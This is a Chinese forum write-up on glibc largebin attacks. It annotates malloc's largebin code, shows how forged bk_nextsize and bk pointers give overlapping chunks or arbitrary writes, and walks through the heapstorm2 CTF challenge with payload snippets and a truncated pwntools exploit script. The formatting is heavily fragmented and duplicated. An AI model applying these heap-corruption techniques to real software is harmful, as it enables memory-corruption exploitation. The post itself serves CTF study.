-
-
[原创]Largebin attack总结
-
发表于: 2020-10-3 11:06 16088
-
咕咕咕好几天的largebin attack来力
largebin管理的是一个范围区间的堆块,此时fd_nextsize
与bk_nextsize
就派上了用场。
大小对应相同index中的堆块,其在链表中的排序方式为:
貌似就是取expr表达式的值。
宏 bin_at(m, i) 通过 bin index 获得 bin 的链表头,m 指的是分配区,i 是索引
mark_bin 设置第 i 个 bin 在 binmap 中对应的 bit 位为 1
一共有 128 个 bin,0 和 127 不算,也就是有 126 个 bin,其中第一个 bin 是 unsorted_bin
binmap 字段是一个 int 数组,ptmalloc 用一个 bit 来标识该 bit 对应的 bin 中是否包含空闲 chunk
贴一下插入过程大佬的总结:
贴一下申请过程大佬的总结:
当利用bk_nextsize反向遍历双链表时,如果我们可以伪造堆头节点的bk_nextsize,让其指向一个evil内存地址,然后我们 在evil_addr上构造了相应的数据以通过unlink,会将该空间返回申请到非预期的内存
绕过unlink最简单 的就是fd与bk按照smallbin的unlink方式设置,然后两个nextsize指针都为null
下面贴上大佬的解释:
问题出现在通过bk_nextsize
反向遍历双链表的过程,如果能够伪造某个堆头结点中的bk_nextsize
,将其指向非预期的内存地址,构造好数据使得非预期内存地址在通过unlink的检查之后,会将该空间返回给用户,最终使得可以申请出非预期的内存。最常见的就是用它来构造overlap chunk。
至于绕过unlink
的检查,我认为最好的方式就是伪造的内存空间将fd
与bk
按照smallbinunlink
的利用方式设置,而将bk_nextsize
和fd_nextsize
设置成0,这样就不会对这两个字段进行操作了。
典型的应用场景为:存在四个堆ABCD,largebin中存在链表A->B,其中A为0x420,B为0x400,C为0x410,C未释放。将B的bk_nextsize
伪造指向C,同时将C的fd
与bk
构造好,将C的fd_nextsize
与bk_nextsize
赋值为0,当再次申请0x410大小的内存E时,遍历B->bk_nextsize
会指向C,且C的大小满足需求,因此会调用unlink将C从双链表取下,因此申请出来的堆块E的地址会为C的地址,即E和C为同一内存块,实现overlap chunk的构造。
本题是典型的house of storm,可以做一个任意写+一个任意申请,威力还是相当给力的。
mallopt(M_MXFAST,0)
将global_max_fast
设置为0,这个值的意思是最大为多大的chunk归fastbin管理,设置为0表示这个程序中不再存在fastbin。即本程序禁用了fastbin。
在edit函数中有一个off-by-null
剩下的就是一个常用的uaf。
首先我们造两个overlap到unsortedbin里。(overlap的过程我就先不说了,可以做前向合并可以做后向合并)
然后我们add(0x4e8),从unsortedbin的尾部向前遍历,将size为0x4e0的放入largebin,返回size为0x4f0的:
然后再把0x4e8的放进unsortedbin
此时largebin中的chunk是大于unsortedbin中的chunk的,那么fwd此时就应该指向0x1002035c0这一个chunk,victim是unsortedbin中的chunk。
我们再进行如下操作:
此时unsortedbin中的chunk的bk指针被劫持指向我们的fakechunk,如果我们再add(0x48)时,程序首先在fastbin和smallbin中找空闲的chunk,但是没有,于是去unsortedbin中找,第一次找到大小为0x4f0的,这个大小肯定是不对的,但是检测到unsortedbin中还有一个chunk(即我们劫持bk指针后指向的fakechunk)并不会对大小为0x4f0的chunk做切割,而是直接做sorted,即插入largebin(此时触发largebin attack给fakechunk写上一个size)。然后系统顺着我们劫持的bk指针找,找到了我们的fakechunk,此时的fakechunk是有size的,然后系统去检验他的size,发现除去标志位刚好是0x50,那么就把fake chunk返回给我们。
然后add一次0x48(由于calloc的检查,此处被错位写上去的size必须要是0x56,多爆破几次)
除去标志位0x56就是0x50了,我们申请0x48,会返回这个fake_chunk
然后我们写一个while爆破一下:
可以看到此时爆破成功,我们通过修改表中相关内容:
来bypass掉show时候的验证:
此时就可以正常使用show了。
其实主要就是伪造一系列的结构,感觉这个比之前的那个要麻烦一些
一开始的largebin情况如下:
以下这张图充分还原了largebin的攻击过程,达到一次任意地址申请+overlap
我们再将两个0x80的放入fastbin连接起来:
当我们再进行一次add的时候:首先把fastbin中的chunk放入smallbin;然后触发largebin attack申请出我们伪造的fakechunk
效果如下:
smallbin也是头插尾取,再add一次,取出smallbin的最后一个:
此时在smallbin中的chunk里有指向main_arena的指针,且这个chunk刚好在我们的fakechunk下面不远,直接可以show出来
之后我们手动恢复chunk结构。
最后使用fastbin attack劫持unsortbin中的top chunk指向free_hook-0xb58,然后改freehook为system。
一般结束后会放到smallbin中
1、首先将与该块相邻的下一块的PREV_INUSE置为1。
2、如果相邻的上一块为free,则合并,再判断相邻的下一块是否free,若free,则合并。
3、不管是否完成合并,都会把fastbin或者完成合并以后的bin放到unsortbin中。(如果与top chunk相邻,则合并到top chunk中)这点尤其要注意,这也是为什么可以泄漏出libc基地址的原因。(注意,这里代表,即使没有发生合并,也会将对应的fastbin的chunk放入unosrtedbin,比如我们有一个0x60、一个0x80、他们物理上不相邻,但都处于free状态,那么合并时他们俩都会被放入unsortedbin。)
https://www.jianshu.com/p/d3fdeff8683f
https://wiki.x10sec.org/pwn/heap/heap_implementation_details/#large-bin
https://xz.aliyun.com/t/5177?accounttraceid=a5c0b873d40e445f90a2b0a7e8cde4a4fkam
https://bbs.pediy.com/thread-257742.htm
#define in_smallbin_range(sz)
((unsigned
long
) (sz) < (unsigned
long
) MIN_LARGE_SIZE)
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz)
((unsigned
long
) (sz) < (unsigned
long
) MIN_LARGE_SIZE)
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
size index
[
0x400
,
0x440
)
64
[
0x440
,
0x480
)
65
[
0x480
,
0x4C0
)
66
[
0x4C0
,
0x500
)
67
[
0x500
,
0x540
)
68
等差
0x40
…
[
0xC00
,
0xC40
)
96
[
0xC40
,
0xE00
)
97
[
0xE00
,
0x1000
)
98
[
0x1000
,
0x1200
)
99
[
0x1200
,
0x1400
)
100
[
0x1400
,
0x1600
)
101
等差
0x200
…
[
0x2800
,
0x2A00
)
111
[
0x2A00
,
0x3000
)
112
[
0x3000
,
0x4000
)
113
[
0x4000
,
0x5000
)
114
等差
0x1000
…
[
0x9000
,
0xA000
)
119
[
0xA000
,
0x10000
)
120
[
0x10000
,
0x18000
)
121
[
0x18000
,
0x20000
)
122
[
0x20000
,
0x28000
)
123
[
0x28000
,
0x40000
)
124
[
0x40000
,
0x80000
)
125
[
0x80000
, …. )
126
size index
[
0x400
,
0x440
)
64
[
0x440
,
0x480
)
65
[
0x480
,
0x4C0
)
66
[
0x4C0
,
0x500
)
67
[
0x500
,
0x540
)
68
等差
0x40
…
[
0xC00
,
0xC40
)
96
[
0xC40
,
0xE00
)
97
[
0xE00
,
0x1000
)
98
[
0x1000
,
0x1200
)
99
[
0x1200
,
0x1400
)
100
[
0x1400
,
0x1600
)
101
等差
0x200
…
[
0x2800
,
0x2A00
)
111
[
0x2A00
,
0x3000
)
112
[
0x3000
,
0x4000
)
113
[
0x4000
,
0x5000
)
114
等差
0x1000
…
[
0x9000
,
0xA000
)
119
[
0xA000
,
0x10000
)
120
[
0x10000
,
0x18000
)
121
[
0x18000
,
0x20000
)
122
[
0x20000
,
0x28000
)
123
[
0x28000
,
0x40000
)
124
[
0x40000
,
0x80000
)
125
[
0x80000
, …. )
126
# define __builtin_expect(expr, val) (expr)
# define __builtin_expect(expr, val) (expr)
#define bin_at(m, i) \
(mbinptr) (((char
*
) &((m)
-
>bins[((i)
-
1
)
*
2
])) \
-
offsetof (struct malloc_chunk, fd))
#define bin_at(m, i) \
(mbinptr) (((char
*
) &((m)
-
>bins[((i)
-
1
)
*
2
])) \
-
offsetof (struct malloc_chunk, fd))
#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
#define NBINS 128
#define BINMAPSHIFT 5
#define BITSPERMAP (1U << BINMAPSHIFT) // 32
#define BINMAPSIZE (NBINS / BITSPERMAP)// 128 / 32 = 4
unsigned
int
binmap[BINMAPSIZE];
/
/
32b
*
4
=
128b
#define NBINS 128
#define BINMAPSHIFT 5
#define BITSPERMAP (1U << BINMAPSHIFT) // 32
#define BINMAPSIZE (NBINS / BITSPERMAP)// 128 / 32 = 4
unsigned
int
binmap[BINMAPSIZE];
/
/
32b
*
4
=
128b
/
*
place chunk
in
bin
*
/
if
(in_smallbin_range (size))
/
/
如果是smallbin的大小就放到smallbin
{
victim_index
=
smallbin_index (size);
bck
=
bin_at (av, victim_index);
fwd
=
bck
-
>fd;
}
else
/
/
如果是largebin的大小,那么:
{
victim_index
=
largebin_index (size);
/
/
根据size获取对应的largebin索引
bck
=
bin_at (av, victim_index);
/
/
获取largebin表头
fwd
=
bck
-
>fd;
/
/
获取对应索引largebin的第一个chunk(循环链表的head
-
>
next
)
/
*
maintain large bins
in
sorted
order
*
/
if
(fwd !
=
bck)
/
/
当第一个不等于最后一个(即当前的largebin不空)
{
/
*
Or with inuse bit to speed comparisons
*
/
size |
=
PREV_INUSE;
/
*
if
smaller than smallest, bypass loop below
*
/
assert
(chunk_main_arena (bck
-
>bk));
/
/
是否在main_arena?(主线程)
if
((unsigned
long
) (size)
< (unsigned
long
) chunksize_nomask (bck
-
>bk))
/
/
bck
-
>bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。
{
fwd
=
bck;
/
/
fwd此时为largebin表头
bck
=
bck
-
>bk;
/
/
bck设置为largebin中最后一个的chunk
victim
-
>fd_nextsize
=
fwd
-
>fd;
/
/
由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk
victim
-
>bk_nextsize
=
fwd
-
>fd
-
>bk_nextsize;
/
/
比他大的就是之前的最小的那个
/
/
原来链表的第一个chunk的bk指向此时新插入的最后一个chunk
fwd
-
>fd
-
>bk_nextsize
=
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
}
/
/
如果不是插入尾部,那么我们要找到这个chunk应该插入的位置
else
{
assert
(chunk_main_arena (fwd));
/
/
使用这个
while
循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出
while
while
((unsigned
long
) size < chunksize_nomask (fwd))
{
fwd
=
fwd
-
>fd_nextsize;
/
/
取下一个
assert
(chunk_main_arena (fwd));
/
/
检查分配区
}
/
/
如果找到了跟他想等的
if
((unsigned
long
) size
=
=
(unsigned
long
) chunksize_nomask (fwd))
/
*
Always insert
in
the second position.
*
/
fwd
=
fwd
-
>fd;
/
/
直接将victim插入他的后面(通过fd),不修改nextsize指针。
/
/
如果大小不一样(即此时fwd是相邻的大于victim的chunk)
/
/
需要构造nextsize双向链表,构造新节点,victim作为堆头
else
{
/
/
比victim小的指向fwd
/
/
比victim大的指向fwd的bk_nextsize(比fwd大的那个)
/
/
相当于插入了fwd与fwd
-
>bk_nextsize之间
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
if
(__glibc_unlikely (fwd
-
>bk_nextsize
-
>fd_nextsize !
=
fwd))
/
/
检查size链完整性
malloc_printerr (
"malloc(): largebin double linked list corrupted (nextsize)"
);
/
/
对应的去改fwd的相关指针成链
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
/
/
插入完成
}
bck
=
fwd
-
>bk;
if
(bck
-
>fd !
=
fwd)
malloc_printerr (
"malloc(): largebin double linked list corrupted (bk)"
);
}
}
else
victim
-
>fd_nextsize
=
victim
-
>bk_nextsize
=
victim;
/
/
此时victim为唯一的chunk,也要做循环链表
}
/
/
放到对应的
bin
中,构成 bk<
-
-
>victim<
-
-
>fwd。
mark_bin (av, victim_index);
/
/
标识bitmap
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
/
*
place chunk
in
bin
*
/
if
(in_smallbin_range (size))
/
/
如果是smallbin的大小就放到smallbin
{
victim_index
=
smallbin_index (size);
bck
=
bin_at (av, victim_index);
fwd
=
bck
-
>fd;
}
else
/
/
如果是largebin的大小,那么:
{
victim_index
=
largebin_index (size);
/
/
根据size获取对应的largebin索引
bck
=
bin_at (av, victim_index);
/
/
获取largebin表头
fwd
=
bck
-
>fd;
/
/
获取对应索引largebin的第一个chunk(循环链表的head
-
>
next
)
/
*
maintain large bins
in
sorted
order
*
/
if
(fwd !
=
bck)
/
/
当第一个不等于最后一个(即当前的largebin不空)
{
/
*
Or with inuse bit to speed comparisons
*
/
size |
=
PREV_INUSE;
/
*
if
smaller than smallest, bypass loop below
*
/
assert
(chunk_main_arena (bck
-
>bk));
/
/
是否在main_arena?(主线程)
if
((unsigned
long
) (size)
< (unsigned
long
) chunksize_nomask (bck
-
>bk))
/
/
bck
-
>bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。
{
fwd
=
bck;
/
/
fwd此时为largebin表头
bck
=
bck
-
>bk;
/
/
bck设置为largebin中最后一个的chunk
victim
-
>fd_nextsize
=
fwd
-
>fd;
/
/
由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk
victim
-
>bk_nextsize
=
fwd
-
>fd
-
>bk_nextsize;
/
/
比他大的就是之前的最小的那个
/
/
原来链表的第一个chunk的bk指向此时新插入的最后一个chunk
fwd
-
>fd
-
>bk_nextsize
=
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
}
/
/
如果不是插入尾部,那么我们要找到这个chunk应该插入的位置
else
{
assert
(chunk_main_arena (fwd));
/
/
使用这个
while
循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出
while
while
((unsigned
long
) size < chunksize_nomask (fwd))
{
fwd
=
fwd
-
>fd_nextsize;
/
/
取下一个
assert
(chunk_main_arena (fwd));
/
/
检查分配区
}
/
/
如果找到了跟他想等的
if
((unsigned
long
) size
=
=
(unsigned
long
) chunksize_nomask (fwd))
/
*
Always insert
in
the second position.
*
/
fwd
=
fwd
-
>fd;
/
/
直接将victim插入他的后面(通过fd),不修改nextsize指针。
/
/
如果大小不一样(即此时fwd是相邻的大于victim的chunk)
/
/
需要构造nextsize双向链表,构造新节点,victim作为堆头
else
{
/
/
比victim小的指向fwd
/
/
比victim大的指向fwd的bk_nextsize(比fwd大的那个)
/
/
相当于插入了fwd与fwd
-
>bk_nextsize之间
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
if
(__glibc_unlikely (fwd
-
>bk_nextsize
-
>fd_nextsize !
=
fwd))
/
/
检查size链完整性
malloc_printerr (
"malloc(): largebin double linked list corrupted (nextsize)"
);
/
/
对应的去改fwd的相关指针成链
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
/
/
插入完成
}
bck
=
fwd
-
>bk;
if
(bck
-
>fd !
=
fwd)
malloc_printerr (
"malloc(): largebin double linked list corrupted (bk)"
);
}
}
else
victim
-
>fd_nextsize
=
victim
-
>bk_nextsize
=
victim;
/
/
此时victim为唯一的chunk,也要做循环链表
}
/
/
放到对应的
bin
中,构成 bk<
-
-
>victim<
-
-
>fwd。
mark_bin (av, victim_index);
/
/
标识bitmap
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
/
*
If a large request, scan through the chunks of current
bin
in
sorted
order to find smallest that fits. Use the skip
list
for
this.
*
/
if
(!in_smallbin_range (nb))
/
/
如果不在samllbin大小中
{
bin
=
bin_at (av, idx);
/
/
找到申请的size对应的largebin链表
/
*
skip scan
if
empty
or
largest chunk
is
too small
*
/
if
((victim
=
first (
bin
)) !
=
bin
&&
/
/
此时victim为链表的第一个节点
(unsigned
long
) (victim
-
>size) >
=
(unsigned
long
) (nb))
/
/
第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
/
/
进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个?
victim
=
victim
-
>bk_nextsize;
/
/
本来victim是链中最大的那个,现在我们要从小往遍历,那么victim
-
>bk_nextsize就循环回了链中最小的那个
while
(((unsigned
long
) (size
=
chunksize (victim)) <
(unsigned
long
) (nb)))
/
/
第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim
=
victim
-
>bk_nextsize;
/
/
victim取相邻的更大size的chunk
/
*
Avoid removing the first entry
for
a size so that the skip
list
does
not
have to be rerouted.
*
/
if
(victim !
=
last (
bin
) && victim
-
>size
=
=
victim
-
>fd
-
>size)
/
/
第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim
=
victim
-
>fd;
/
/
出现相同大小时堆头作为次优先申请
remainder_size
=
size
-
nb;
unlink (av, victim, bck, fwd);
/
/
第四步,largebin unlink 操作
/
*
Exhaust
*
/
if
(remainder_size < MINSIZE)
/
/
第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
{
set_inuse_bit_at_offset (victim, size);
if
(av !
=
&main_arena)
victim
-
>size |
=
NON_MAIN_ARENA;
}
/
*
Split
*
/
else
{
remainder
=
chunk_at_offset (victim, nb);
/
/
第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted
bin
中(切割后)。
/
*
We cannot assume the unsorted
list
is
empty
and
therefore
have to perform a complete insert here.
*
/
bck
=
unsorted_chunks (av);
/
/
bck是ub头
fwd
=
bck
-
>fd;
/
/
fwd是ub第一个chunk
if
(__glibc_unlikely (fwd
-
>bk !
=
bck))
{
errstr
=
"malloc(): corrupted unsorted chunks"
;
goto errout;
}
remainder
-
>bk
=
bck;
remainder
-
>fd
=
fwd;
bck
-
>fd
=
remainder;
fwd
-
>bk
=
remainder;
/
/
以上操作完成后lastremainder被插入ub,成为新的链首元素
/
/
如果不在smallbin范围,那么nextsize指针置空
if
(!in_smallbin_range (remainder_size))
{
remainder
-
>fd_nextsize
=
NULL;
remainder
-
>bk_nextsize
=
NULL;
}
set_head (victim, nb | PREV_INUSE |
(av !
=
&main_arena ? NON_MAIN_ARENA :
0
));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void
*
p
=
chunk2mem (victim);
alloc_perturb (p, bytes);
return
p;
}
}
/
*
If a large request, scan through the chunks of current
bin
in
sorted
order to find smallest that fits. Use the skip
list
for
this.
*
/
if
(!in_smallbin_range (nb))
/
/
如果不在samllbin大小中
{
bin
=
bin_at (av, idx);
/
/
找到申请的size对应的largebin链表
/
*
skip scan
if
empty
or
largest chunk
is
too small
*
/
if
((victim
=
first (
bin
)) !
=
bin
&&
/
/
此时victim为链表的第一个节点
(unsigned
long
) (victim
-
>size) >
=
(unsigned
long
) (nb))
/
/
第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
/
/
进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个?
victim
=
victim
-
>bk_nextsize;
/
/
本来victim是链中最大的那个,现在我们要从小往遍历,那么victim
-
>bk_nextsize就循环回了链中最小的那个
while
(((unsigned
long
) (size
=
chunksize (victim)) <
(unsigned
long
) (nb)))
/
/
第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim
=
victim
-
>bk_nextsize;
/
/
victim取相邻的更大size的chunk
/
*
Avoid removing the first entry
for
a size so that the skip
list
does
not
have to be rerouted.
*
/
if
(victim !
=
last (
bin
) && victim
-
>size
=
=
victim
-
>fd
-
>size)
/
/
第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim
=
victim
-
>fd;
/
/
出现相同大小时堆头作为次优先申请
remainder_size
=
size
-
nb;
unlink (av, victim, bck, fwd);
/
/
第四步,largebin unlink 操作
/
*
Exhaust
*
/
if
(remainder_size < MINSIZE)
/
/
第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
{
set_inuse_bit_at_offset (victim, size);
if
(av !
=
&main_arena)
victim
-
>size |
=
NON_MAIN_ARENA;
}
/
*
Split
*
/
else
{
remainder
=
chunk_at_offset (victim, nb);
/
/
第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted
bin
中(切割后)。
/
*
We cannot assume the unsorted
list
is
empty
and
therefore
have to perform a complete insert here.
*
/
bck
=
unsorted_chunks (av);
/
/
bck是ub头
fwd
=
bck
-
>fd;
/
/
fwd是ub第一个chunk
if
(__glibc_unlikely (fwd
-
>bk !
=
bck))
{
errstr
=
"malloc(): corrupted unsorted chunks"
;
goto errout;
}
remainder
-
>bk
=
bck;
remainder
-
>fd
=
fwd;
bck
-
>fd
=
remainder;
fwd
-
>bk
=
remainder;
/
/
以上操作完成后lastremainder被插入ub,成为新的链首元素
/
/
如果不在smallbin范围,那么nextsize指针置空
if
(!in_smallbin_range (remainder_size))
{
remainder
-
>fd_nextsize
=
NULL;
remainder
-
>bk_nextsize
=
NULL;
}
set_head (victim, nb | PREV_INUSE |
(av !
=
&main_arena ? NON_MAIN_ARENA :
0
));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void
*
p
=
chunk2mem (victim);
alloc_perturb (p, bytes);
return
p;
}
}
if
((victim
=
first (
bin
)) !
=
bin
&&
(unsigned
long
) (victim
-
>size) >
=
(unsigned
long
) (nb))
/
/
判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
victim
=
victim
-
>bk_nextsize;
while
(((unsigned
long
) (size
=
chunksize (victim)) <
(unsigned
long
) (nb)))
/
/
从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim
=
victim
-
>bk_nextsize;
/
/
漏洞点,伪造bk_nextsize
if
(victim !
=
last (
bin
) && victim
-
>size
=
=
victim
-
>fd
-
>size)
/
/
申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim
=
victim
-
>fd;
remainder_size
=
size
-
nb;
unlink (av, victim, bck, fwd);
/
/
largebin unlink 操作
...
return
p;
if
((victim
=
first (
bin
)) !
=
bin
&&
(unsigned
long
) (victim
-
>size) >
=
(unsigned
long
) (nb))
/
/
判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
victim
=
victim
-
>bk_nextsize;
while
(((unsigned
long
) (size
=
chunksize (victim)) <
(unsigned
long
) (nb)))
/
/
从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim
=
victim
-
>bk_nextsize;
/
/
漏洞点,伪造bk_nextsize
if
(victim !
=
last (
bin
) && victim
-
>size
=
=
victim
-
>fd
-
>size)
/
/
申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim
=
victim
-
>fd;
remainder_size
=
size
-
nb;
unlink (av, victim, bck, fwd);
/
/
largebin unlink 操作
...
return
p;
...
/
/
将largebin从unsorted
bin
中取下
unsorted_chunks (av)
-
>bk
=
bck;
bck
-
>fd
=
unsorted_chunks (av);
...
/
/
如果大小不一样(即此时fwd是相邻的大于victim的chunk)
/
/
需要构造nextsize双向链表,构造新节点,victim作为堆头
/
/
否则这个chunk将会成为堆头,`bk_nextsize`和`fd_nextsize`将被置位
/
/
比victim小的指向fwd(fd_nextsize)
/
/
比victim大的指向fwd的bk_nextsize(比fwd大的那个)
/
/
相当于插入了fwd与fwd
-
>bk_nextsize之间
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
/
/
由于fwd
-
>bk_nextsize可控,因此victim
-
>bk_nextsize可控
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
/
/
victim
-
>bk_nextsize可控,因此实现了往任意地址写victim的能力
}
bck
=
fwd
-
>bk;
/
/
由于fwd
-
>bk可控,因此bck可控
...
mark_bin (av, victim_index);
/
/
设置fd与bk完成插入
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
/
/
bck可控,因此实现了往任意地址写victim的能力
...
}
...
/
/
将largebin从unsorted
bin
中取下
unsorted_chunks (av)
-
>bk
=
bck;
bck
-
>fd
=
unsorted_chunks (av);
...
/
/
如果大小不一样(即此时fwd是相邻的大于victim的chunk)
/
/
需要构造nextsize双向链表,构造新节点,victim作为堆头
/
/
否则这个chunk将会成为堆头,`bk_nextsize`和`fd_nextsize`将被置位
/
/
比victim小的指向fwd(fd_nextsize)
/
/
比victim大的指向fwd的bk_nextsize(比fwd大的那个)
/
/
相当于插入了fwd与fwd
-
>bk_nextsize之间
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
/
/
由于fwd
-
>bk_nextsize可控,因此victim
-
>bk_nextsize可控
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
/
/
victim
-
>bk_nextsize可控,因此实现了往任意地址写victim的能力
}
bck
=
fwd
-
>bk;
/
/
由于fwd
-
>bk可控,因此bck可控
...
mark_bin (av, victim_index);
/
/
设置fd与bk完成插入
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
/
/
bck可控,因此实现了往任意地址写victim的能力
...
}
if
( !mallopt(
1
,
0
) )
exit(
-
1
);
if
( !mallopt(
1
,
0
) )
exit(
-
1
);
unsortbin:
0x100203060
(size :
0x4f0
) <
-
-
>
0x1002035c0
(size :
0x4e0
)
unsortbin:
0x100203060
(size :
0x4f0
) <
-
-
>
0x1002035c0
(size :
0x4e0
)
unsortbin:
0x0
largebin[
3
]:
0x1002035c0
(size :
0x4e0
)
unsortbin:
0x0
largebin[
3
]:
0x1002035c0
(size :
0x4e0
)
unsortbin:
0x100203060
(size :
0x4f0
)
largebin[
3
]:
0x1002035c0
(size :
0x4e0
)
unsortbin:
0x100203060
(size :
0x4f0
)
largebin[
3
]:
0x1002035c0
(size :
0x4e0
)
storge
=
0x13370800
fake_chunk
=
storge
-
0x20
p1
=
p64(
0
)
*
3
+
p64(
0x4f1
)
+
p64(
0
)
+
p64(fake_chunk)
edit(
7
,p1)
# 劫持unsortfbin中chunk的bk指针指向fakechunk
p2
=
p64(
0
)
*
4
+
p64(
0
)
+
p64(
0x4e1
)
p2
+
=
p64(
0
)
+
p64(fake_chunk
+
8
)
# 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2
+
=
p64(
0
)
+
p64(fake_chunk
-
0x18
-
5
)
# 劫持在largebin中chunk的bk_nextsize指针
edit(
8
,p2)
storge
=
0x13370800
fake_chunk
=
storge
-
0x20
p1
=
p64(
0
)
*
3
+
p64(
0x4f1
)
+
p64(
0
)
+
p64(fake_chunk)
edit(
7
,p1)
# 劫持unsortfbin中chunk的bk指针指向fakechunk
p2
=
p64(
0
)
*
4
+
p64(
0
)
+
p64(
0x4e1
)
p2
+
=
p64(
0
)
+
p64(fake_chunk
+
8
)
# 劫持在largebin中chunk的bk指针避免unlink时崩溃
p2
+
=
p64(
0
)
+
p64(fake_chunk
-
0x18
-
5
)
# 劫持在largebin中chunk的bk_nextsize指针
edit(
8
,p2)
add(
0x48
)
# 2,largebin attack触发
add(
0x48
)
# 2,largebin attack触发
p3
=
p64(
0
)
*
5
+
p64(
0x13377331
)
+
p64(storage)
edit(
2
,p3)
p3
=
p64(
0
)
*
5
+
p64(
0x13377331
)
+
p64(storage)
edit(
2
,p3)
if
( (chunk_list[
1
].size ^ chunk_list[
1
].addr) !
=
0x13377331
)
return
puts(
"Permission denied"
);
if
( (chunk_list[
1
].size ^ chunk_list[
1
].addr) !
=
0x13377331
)
return
puts(
"Permission denied"
);
# encoding=utf-8
from
pwn
import
*
from
LibcSearcher
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path
=
"./0ctf_2018_heapstorm2"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho
=
'Command: '
# choice提示语
siz
=
'Size: '
# size输入提示语
con
=
'Content: '
# content输入提示语
ind
=
'Index: '
# index输入提示语
edi
=
''
# edit输入提示语
def
add(size,c
=
'1'
):
sal(cho,c)
sal(siz,
str
(size))
def
free(index,c
=
'3'
):
sal(cho,c)
sal(ind,
str
(index))
def
show(index,c
=
'4'
):
sal(cho,c)
sal(ind,
str
(index))
def
edit(index,content
=
'
',c='
2
'):
sal(cho,c)
sal(ind,
str
(index))
sal(siz,
